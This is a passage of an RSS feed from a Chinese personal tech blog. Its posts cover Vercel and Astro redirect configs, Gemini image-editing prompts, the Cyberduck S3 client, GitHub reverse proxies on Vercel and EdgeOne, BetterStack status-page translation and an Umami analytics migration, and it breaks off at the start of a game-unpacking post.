</content:encoded></item><item><title>配置 Vercel.json 以支持服务器级别的重定向</title><link>https://blog.acofork.com/posts/vercel-redirects/</link><guid isPermaLink="true">https://blog.acofork.com/posts/vercel-redirects/</guid><description>如果你的站点(无论静态/动态正在使用Vercel则配置重定向是一件非常轻松的事情</description><pubDate>Tue, 02 Sep 2025 06:33:27 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;官方文档: &lt;a href=&quot;https://vercel.com/docs/redirects&quot;&gt;Redirects&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在你的仓库根目录创建 &lt;code&gt;vercel.json&lt;/code&gt; 写入重定向规则&lt;/p&gt;
&lt;p&gt;&lt;code&gt;source&lt;/code&gt; 为要重定向的路径,&lt;code&gt;destination&lt;/code&gt; 为重定向到的路径/URL&lt;code&gt;permanent&lt;/code&gt; 为一个可选的布尔值,用于在永久重定向和临时重定向之间切换(默认为 &lt;code&gt;true&lt;/code&gt;)。当 &lt;code&gt;true&lt;/code&gt; 时,状态代码为 &lt;a href=&quot;https://developer.mozilla.org/docs/Web/HTTP/Status/308&quot;&gt;308&lt;/a&gt;。当 &lt;code&gt;false&lt;/code&gt; 时,状态代码为 &lt;a href=&quot;https://developer.mozilla.org/docs/Web/HTTP/Status/307&quot;&gt;307&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
&quot;redirects&quot;: [
{
&quot;source&quot;: &quot;/ak&quot;,
&quot;destination&quot;: &quot;https://akile.io/register?aff_code=503fe5ea-e7c5-4d68-ae05-6de99513680e&quot;,
&quot;permanent&quot;: false
},
{
&quot;source&quot;: &quot;/kook&quot;,
&quot;destination&quot;: &quot;https://kook.vip/K29zpT&quot;,
&quot;permanent&quot;: false
},
{
&quot;source&quot;: &quot;/long&quot;,
&quot;destination&quot;: &quot;https://iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii.iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii.in/&quot;,
&quot;permanent&quot;: false
},
{
&quot;source&quot;: &quot;/mly&quot;,
&quot;destination&quot;: &quot;https://muleyun.com/aff/GOTRJLPN&quot;,
&quot;permanent&quot;: false
},
{
&quot;source&quot;: &quot;/tg&quot;,
&quot;destination&quot;: &quot;https://t.me/+_07DERp7k1ljYTc1&quot;,
&quot;permanent&quot;: false
},
{
&quot;source&quot;: &quot;/tit&quot;,
&quot;destination&quot;: &quot;/posts/pin/&quot;,
&quot;permanent&quot;: false
},
{
&quot;source&quot;: &quot;/tly&quot;,
&quot;destination&quot;: &quot;https://tianlicloud.cn/aff/HNNCFKGP&quot;,
&quot;permanent&quot;: false
},
{
&quot;source&quot;: &quot;/wly&quot;,
&quot;destination&quot;: &quot;https://wl.awcmam.com/#/register?code=FNQwOQBM&quot;,
&quot;permanent&quot;: false
},
{
&quot;source&quot;: &quot;/yyb&quot;,
&quot;destination&quot;: &quot;https://www.rainyun.com/acofork_?s=bilibili&quot;,
&quot;permanent&quot;: false
}
]
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>利用Astrov3的原生重定向来实现各种各样的高级重定向</title><link>https://blog.acofork.com/posts/astrov3-redirects/</link><guid isPermaLink="true">https://blog.acofork.com/posts/astrov3-redirects/</guid><description>曾经我使用Cloudflare Pages Redirects来实现我的个人短链重定向而现在我发现我可以直接将它集成到我的Astro博客</description><pubDate>Tue, 02 Sep 2025 05:56:19 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;Astro v3 正式支持了原生的重定向 &lt;a href=&quot;https://docs.astro.js.cn/en/guides/routing/#configured-redirects&quot;&gt;路由 | 文档 - Astro 文档&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;仅需在 &lt;code&gt;astro.config.mjs&lt;/code&gt; 中添加如下代码,示例代码将 &lt;code&gt;/tit&lt;/code&gt; 的请求 302 重定向到 &lt;code&gt;/posts/pin&lt;/code&gt; 。可以配置多行重定向规则&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { defineConfig } from &quot;astro/config&quot;;
export default defineConfig({
redirects: {
&quot;/tit&quot;: {
destination: &quot;/posts/pin/&quot;,
status: 302,
},
}
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有的小伙伴就会问了如果我的Astro输出模式为SSG那Astro的重定向是不是不支持 &lt;code&gt;location&lt;/code&gt; 重定向?仅支持 &lt;code&gt;HTML&lt;/code&gt; 重定向?&lt;/p&gt;
&lt;p&gt;的确在不对构建服务商进行额外配置的情况下Astro会使用兼容模式创建 &lt;code&gt;HTML&lt;/code&gt; 重定向,你可以尝试安装适配器来支持重定向,但需要注意 &lt;strong&gt;并不是所有适配器都会透传Astro中设置的重定向规则&lt;/strong&gt; ,始终建议使用您构建服务商提供的重定向服务,参见: &lt;a href=&quot;/posts/vercel-redirects/&quot;&gt;配置 Vercel.json 以支持服务器级别的重定向&lt;/a&gt;。如配置 &lt;code&gt;vercel.json&lt;/code&gt; 。关于 Astro 适配器的更多信息,参见 &lt;a href=&quot;https://docs.astro.build/zh-cn/reference/configuration-reference/#adapter&quot;&gt;配置参考 | Docs&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>Google最新的AI生图模型 Nano Banana立绘转真人一键P图</title><link>https://blog.acofork.com/posts/gemini-nano-banana/</link><guid isPermaLink="true">https://blog.acofork.com/posts/gemini-nano-banana/</guid><description>哎我造了村里孩子吃上城里货了这你扯不扯这AI生图方便好无需部署不费脑大口大口使劲造鼻歪眼斜使劲笑</description><pubDate>Mon, 01 Sep 2025 16:25:34 GMT</pubDate><content:encoded>&lt;h1&gt;快速上手&lt;/h1&gt;
&lt;p&gt;进入 &lt;a href=&quot;https://aistudio.google.com/prompts/new_chat&quot;&gt;Google AI Studio&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;粘贴一张图,说出你想要的更改&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-01-16-33-14-1dc081b4dcb4eb99fd68c1d97322517a.CHgi2-8E.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;立绘转真人COS&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;PromptGenerate a highly detailed photo of&lt;/p&gt;
&lt;p&gt;a girl cosplaying this illustration, at Comiket.&lt;/p&gt;
&lt;p&gt;Exactly replicate the same pose, body posture,&lt;/p&gt;
&lt;p&gt;hand gestures, facial expression, and camera&lt;/p&gt;
&lt;p&gt;framing as in the original llustration. Keep the&lt;/p&gt;
&lt;p&gt;same angle, perspective, and composition,&lt;/p&gt;
&lt;p&gt;without any deviation&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;注意:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;立绘最好为纯色背景,人物主体完整&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;立绘中角色不要做出现实中无法做出的动作这可能会触发AI的Copy会将图片完整的复制过来而不是创建一个Coser&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-01-16-34-07-7d28242d1b8c18abf6d6b44f8064abff.DY4YHfVT.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-01-16-37-48-572b1752-d279-4fc3-93a4-165a75640d84.DswLYT7M.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;七夕生草图&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;Prompt A photorealistic scene inside a McDonalds restaurant.&lt;/p&gt;
&lt;p&gt;On my table, there is a picture frame showing the anime-style image I provided.&lt;/p&gt;
&lt;p&gt;Everything outside the frame must be 100% realistic and human.&lt;/p&gt;
&lt;p&gt;On the opposite table, a real Chinese couple is sitting together.&lt;/p&gt;
&lt;p&gt;The female partner is cosplaying the character from the provided image, wearing the same outfit, but she must look like a real human girl, not a drawing or cartoon.&lt;/p&gt;
&lt;p&gt;⚠️ She should not mimic the exact pose or gesture from the anime illustration — instead, she should be doing something natural for a restaurant setting, such as eating food, drinking from a cup, talking with her partner, or smiling casually.&lt;/p&gt;
&lt;p&gt;The entire environment (restaurant interior, people, cosplay) must look like a natural camera photo.&lt;/p&gt;
&lt;p&gt;Apply background blur (bokeh effect) to the opposite table and everything behind it, making the image look like it was taken with a DSLR camera, not generated.&lt;/p&gt;
&lt;p&gt;Only the picture inside the frame can contain anime style; all other elements must be realistic.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-01-16-38-35-cfdbd266c99acc5da9bc6d5f4edf57ba.DRMMvJUS.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-01-16-39-17-5976a1f7-3f14-4987-aa60-3257b05f8b7b.EMITHA8a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;去除背景&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;Prompt 将这张图去除背景,仅保留人物主体&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-01-16-33-14-1dc081b4dcb4eb99fd68c1d97322517a.CHgi2-8E.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-01-16-40-02-72ff1a60-c98b-443e-b231-e068a0429fb8.ChJ2Xk9u.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;结语&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;最好使用英语Prompt&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;可以先对通用大模型如ChatGPT描述你要绘制什么图片然后让他给你返回英文Prompt&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;好图秀图不是一蹴而就的,需要细心打磨&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Cyberduck - 简洁好用的S3文件浏览器</title><link>https://blog.acofork.com/posts/cyberduck/</link><guid isPermaLink="true">https://blog.acofork.com/posts/cyberduck/</guid><description>对象存储是一个非常好用的东西,但是要如何方便的上传文件呢?</description><pubDate>Sun, 31 Aug 2025 03:38:24 GMT</pubDate><content:encoded>&lt;h1&gt;前情提要&lt;/h1&gt;
&lt;p&gt;你可能知道 或不知道我运营着一个 &lt;strong&gt;二次元随机图 API&lt;/strong&gt;,比如 &lt;a href=&quot;https://pic.072103.xyz/&quot;&gt;AcoFork - RandomPic&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;它的图片存储在 &lt;strong&gt;Cloudflare R2&lt;/strong&gt; 也就是 Cloudflare 提供的对象存储&lt;/p&gt;
&lt;p&gt;随机图库存总是要扩充的,在曾经,我会使用 &lt;a href=&quot;https://alistgo.com/zh/&quot;&gt;AList&lt;/a&gt; ,但现在,我会使用 &lt;a href=&quot;https://cyberduck.io/&quot;&gt;Cyberduck&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;这是什么?&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://cyberduck.io/&quot;&gt;Cyberduck&lt;/a&gt; 是一个 Win&amp;amp;Mac 双端的云存储浏览器,相比于 AList 它无需部署,传输文件也无需中转,仅作为一个前端来连接你自己的对象存储,简洁易用,界面如图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-31-03-45-24-image.L8yxXw7M.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果你想将云存储映射为本地磁盘,可以使用姊妹软件 &lt;a href=&quot;https://mountainduck.io/&quot;&gt;Mountain Duck&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;优点?&lt;/h1&gt;
&lt;p&gt;API的图片统计我无需再手搓S3 API来获取图片数量了它自带&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-31-03-47-41-image.C3EmH4TM.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-31-03-47-57-image.PWvkD0Z9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;上传文件无需再通过家里云的 AList 中转了&lt;/p&gt;
&lt;p&gt;之前的链路:我 - AList - S3&lt;/p&gt;
&lt;p&gt;现在的链路:我 - S3&lt;/p&gt;
&lt;p&gt;这显著降低了传输时间,提高了工作效率&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;不止于S3临时给家庭服务器传输文件可以直接使用SFTP而无需登录1Panel等面板了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-31-03-52-04-image.DdnBb9gE.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>利用Vercel Function搭建一个Github全站反代</title><link>https://blog.acofork.com/posts/vercel-github/</link><guid isPermaLink="true">https://blog.acofork.com/posts/vercel-github/</guid><description>嫌弃CF Worker不够快那就试试Vercel Function</description><pubDate>Sat, 30 Aug 2025 21:35:52 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;首先请阅读 &lt;a href=&quot;/posts/gh-proxy/&quot;&gt;这篇文章&lt;/a&gt; 知晓大致原理。&lt;/p&gt;
&lt;p&gt;克隆 &lt;a href=&quot;https://github.com/afoim/VercelFunctionGithubProxy&quot;&gt;afoim/VercelFunctionGithubProxy&lt;/a&gt;部署到Vercel绑你自己域名&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-30-22-14-07-aa3b925d5e2e522cc0a0abccd87b5887.BvOs_qJb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-30-22-14-10-b79c2d588117ab15fc4a08efe359db4f.BhRlkDbv.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>在EdgeOne Page Function上搭建一个Github全站反代</title><link>https://blog.acofork.com/posts/eopf-github-proxy/</link><guid isPermaLink="true">https://blog.acofork.com/posts/eopf-github-proxy/</guid><description>很早就关注了eopf这个平台今天终于将基于CF Worker的Github全站反代移植过来了</description><pubDate>Sat, 30 Aug 2025 20:28:35 GMT</pubDate><content:encoded>&lt;h1&gt;开始实现&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;源码: &lt;a href=&quot;https://github.com/afoim/EdgeOnePagesFunctionGithubProxy&quot;&gt;afoim/EdgeOnePagesFunctionGithubProxy&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;首先请阅读 &lt;a href=&quot;/posts/gh-proxy/&quot;&gt;这篇文章&lt;/a&gt; 知晓大致原理。因为EdgeOne Page Function的写法跟Cloudflare Worker差不多&lt;/p&gt;
&lt;p&gt;下载 https://r2.072103.xyz/github-eopf.zip 并解压&lt;/p&gt;
&lt;p&gt;目录结构为&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-30-20-43-29-image.B14VskDr.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里面的每一个JS文件的内容都相同所以如果需要改请全都改一遍&lt;/p&gt;
&lt;p&gt;打开任意一个JS文件更改域名映射配置&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 域名映射配置
const domain_mappings = {
&apos;github.com&apos;: &apos;gh.&apos;,
&apos;avatars.githubusercontent.com&apos;: &apos;avatars-githubusercontent-com.&apos;,
&apos;github.githubassets.com&apos;: &apos;github-githubassets-com.&apos;,
&apos;collector.github.com&apos;: &apos;collector-github-com.&apos;,
&apos;api.github.com&apos;: &apos;api-github-com.&apos;,
&apos;raw.githubusercontent.com&apos;: &apos;raw-githubusercontent-com.&apos;,
&apos;gist.githubusercontent.com&apos;: &apos;gist-githubusercontent-com.&apos;,
&apos;github.io&apos;: &apos;github-io.&apos;,
&apos;assets-cdn.github.com&apos;: &apos;assets-cdn-github-com.&apos;,
&apos;cdn.jsdelivr.net&apos;: &apos;cdn.jsdelivr-net.&apos;,
&apos;securitylab.github.com&apos;: &apos;securitylab-github-com.&apos;,
&apos;www.githubstatus.com&apos;: &apos;www-githubstatus-com.&apos;,
&apos;npmjs.com&apos;: &apos;npmjs-com.&apos;,
&apos;git-lfs.github.com&apos;: &apos;git-lfs-github-com.&apos;,
&apos;githubusercontent.com&apos;: &apos;githubusercontent-com.&apos;,
&apos;github.global.ssl.fastly.net&apos;: &apos;github-global-ssl-fastly-net.&apos;,
&apos;api.npms.io&apos;: &apos;api-npms-io.&apos;,
&apos;github.community&apos;: &apos;github-community.&apos;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后上传到EdgeOne Pages&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-30-20-45-20-image.oRPVcQJj.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;按照前缀绑定域名&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-30-20-46-18-image.B0YKX7j5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;为什么结构目录这么抽象?&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;为什么要放一个 &lt;code&gt;index.html&lt;/code&gt; 并且里面是空的因为不放就404&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;为什么要放一个 &lt;code&gt;index.js&lt;/code&gt;&lt;code&gt;[[default.js]]&lt;/code&gt; ?:因为 &lt;code&gt;index.js&lt;/code&gt; 负责 &lt;code&gt;/&lt;/code&gt; 的路由,&lt;code&gt;[[default.js]]&lt;/code&gt; 负责 &lt;code&gt;/*&lt;/code&gt; 的路由&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>我给BetterStack的状态页面汉化了</title><link>https://blog.acofork.com/posts/translations-betterstack/</link><guid isPermaLink="true">https://blog.acofork.com/posts/translations-betterstack/</guid><description>闲来无事打开BetterStack的状态页面发现一会中文一会英文受不了了全部汉化</description><pubDate>Thu, 28 Aug 2025 18:46:27 GMT</pubDate><content:encoded>&lt;h1&gt;速览&lt;/h1&gt;
&lt;p&gt;现在点击 &lt;a href=&quot;https://ss.2x.nz&quot;&gt;这里&lt;/a&gt; 或者顶部导航栏的 &lt;code&gt;状态&lt;/code&gt; 即可查看中文的BetterStack的状态面板&lt;/p&gt;
&lt;h1&gt;汉化过程&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://uptime.betterstack.com/&quot;&gt;BetterStack&lt;/a&gt; 左侧导航条的 &lt;code&gt;Status pages&lt;/code&gt; 进入你的状态面板域名,然后进入 &lt;code&gt;Translations&lt;/code&gt; 即可开始汉化&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-28-18-52-03-image.BH5rP2Hy.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;一些小插曲&lt;/h1&gt;
&lt;p&gt;因为BetterStack完全没有顾及中国用户所以对于 &lt;code&gt;&lt;/code&gt;&lt;code&gt;&lt;/code&gt; 的翻译没有后缀,不过我们可以硬编码一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-28-18-57-52-image.DIB8bJoh.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而对于 &lt;code&gt;&lt;/code&gt; 直接这样写&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-28-18-58-30-image.cnYESS6Q.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;BetterStack对于 &lt;code&gt;UTC+8&lt;/code&gt; 会自作聪明使用 &lt;code&gt;CST&lt;/code&gt; 。这是一个有歧义的时区缩写,我们同样可以使用硬编码来解决&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-28-18-56-39-image.B_CjHtqW.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-28-18-58-45-image.DzqnnV9z.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>记录迁移Umami从本地到云</title><link>https://blog.acofork.com/posts/umami-local-2-render/</link><guid isPermaLink="true">https://blog.acofork.com/posts/umami-local-2-render/</guid><description>之前的站点统计部署在家里云NAS通过IPv6回源而现在我将他迁移到了Render+Supabase</description><pubDate>Thu, 28 Aug 2025 09:57:16 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;回滚了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;备份本地数据库&lt;/h1&gt;
&lt;p&gt;在任何一台机子上安装 &lt;strong&gt;pgAdmin4&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;连接到本地的PostgreSQL实例&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-28-10-03-34-image.CE9sei3c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;右键需要备份的数据库,点击 &lt;strong&gt;备份&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-28-10-03-58-image.PdfooRjH.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;填写 &lt;strong&gt;文件名&lt;/strong&gt; 创建备份。备份的文件将会保留在 &lt;strong&gt;pgAdmin4&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-28-10-04-44-image.DoR1Bz_i.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;还原备份到云端数据库&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;免费计划有 500MB 免费的数据库空间,完全够用了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-28-10-06-39-2dfd6b861774ca0b05d460fc19bfccb1.CpkUsm-k.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;进入 https://supabase.com/&lt;/p&gt;
&lt;p&gt;创建一个新项目&lt;/p&gt;
&lt;p&gt;找到连接参数左上角Connect&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-28-10-07-41-image.DdhFx4Ow.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;pgAdmin4&lt;/strong&gt;连接到Supabase数据库&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-28-10-10-00-image.DKsxUeKS.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;值得注意的是本地的PostgreSQL我们可以创建多个子数据库。而在Supabase中每一个项目对应一个专属的 &lt;strong&gt;postgres&lt;/strong&gt; 数据库。当然,你完全可以使用 &lt;strong&gt;pgAdmin4&lt;/strong&gt; 来创建新的子数据库但是Supabase仪表盘上将不可见。所以我建议在Supabase项目中一个项目对应一个数据库不使用子数据库&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;右键,进行还原&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-28-10-12-10-image.C1eOUVpa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;选择刚才备份的数据库文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-28-10-12-29-image.tb56HhWA.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进行还原,必会 &lt;strong&gt;失败&lt;/strong&gt;,但是不用管&lt;/p&gt;
&lt;p&gt;&lt;em&gt;这些报错大概就是,找不到之前数据库的用户之类的,实际上表结构已经被还原了&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-28-10-16-25-image.C7TnAi4Y.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;在Render上部署Umami&lt;/h1&gt;
&lt;p&gt;打开 https://dashboard.render.com/&lt;/p&gt;
&lt;p&gt;创建项目,选择 &lt;strong&gt;Web Services&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Source Code&lt;/strong&gt; 选择 &lt;strong&gt;Exist Image&lt;/strong&gt; ,并输入 &lt;code&gt;ghcr.io/umami-software/umami:postgresql-v2.19.0&lt;/code&gt; &lt;em&gt;最好选最新版,也就是 &lt;code&gt;vx.xx.x&lt;/code&gt; 这个字段&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;配置必须的环境变量&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Key&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;APP_SECRET&lt;/td&gt;
&lt;td&gt;在之前的环境变量中&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DATABASE_TYPE&lt;/td&gt;
&lt;td&gt;postgresql&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DATABASE_URL&lt;/td&gt;
&lt;td&gt;在Supabase仪表板中&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;你可以在曾经的Umami实例中看到 &lt;strong&gt;APP_SECRET&lt;/strong&gt; 的值&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-28-10-25-05-image.Dy6Zyfwj.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;DATABASE_URL&lt;/strong&gt; 可以在 Supabase 中看到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-28-10-25-44-image.BJ7ALcUm.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其中的 &lt;code&gt;[YOUR-PASSWORD]&lt;/code&gt; 可以在 Supabase 的数据库设置中进行重置&lt;/p&gt;
&lt;p&gt;&lt;em&gt;注意Supabase仅支持重置数据库密码一旦设置后将无法再次查看请妥善保管您的数据库密码&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;配置完毕之后部署它Render将会为你分配一个Web地址&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-28-10-29-02-image.Y05rfcU4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;尝试访问,应该已经迁移成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-28-10-29-46-image.CtWN66iq.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;配置EdgeOne CDN变相支持CORS配置&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;由于 Umami 没有独立的CORS设置如果不设置CORS则他人将可以随便刷你的Umami这会导致统计不准确详见 &lt;a href=&quot;/posts/you-is-me-huh/&quot;&gt;这篇文章&lt;/a&gt; 。我们可以接入EdgeOne CDN来变相支持CORS&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;使用 &lt;strong&gt;源站域名&lt;/strong&gt; 作为 &lt;strong&gt;回源 HOST 头&lt;/strong&gt; 即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-28-10-32-09-image.Dth2KP1C.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;CORS配置详情&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-28-10-32-32-image.BXoUkmAR.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>记录解包尘白禁区以获得涩涩CG</title><link>https://blog.acofork.com/posts/cbjq-unzip/</link><guid isPermaLink="true">https://blog.acofork.com/posts/cbjq-unzip/</guid><description>受人委托解包尘白禁区的加载图CG记录一下流程方便日后复习</description><pubDate>Sun, 24 Aug 2025 01:11:44 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;参考了 &lt;a href=&quot;https://zhuanlan.zhihu.com/p/7144045084&quot;&gt;虚幻4游戏解包导出及Mod制作指南 - 知乎&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;下载尘白禁区&lt;/h1&gt;
&lt;p&gt;前往 https://www.cbjq.com/ 下载并安装尘白禁区,确保启动器内可以直接开始游戏(即游戏完整包体已下载到你的电脑)&lt;/p&gt;
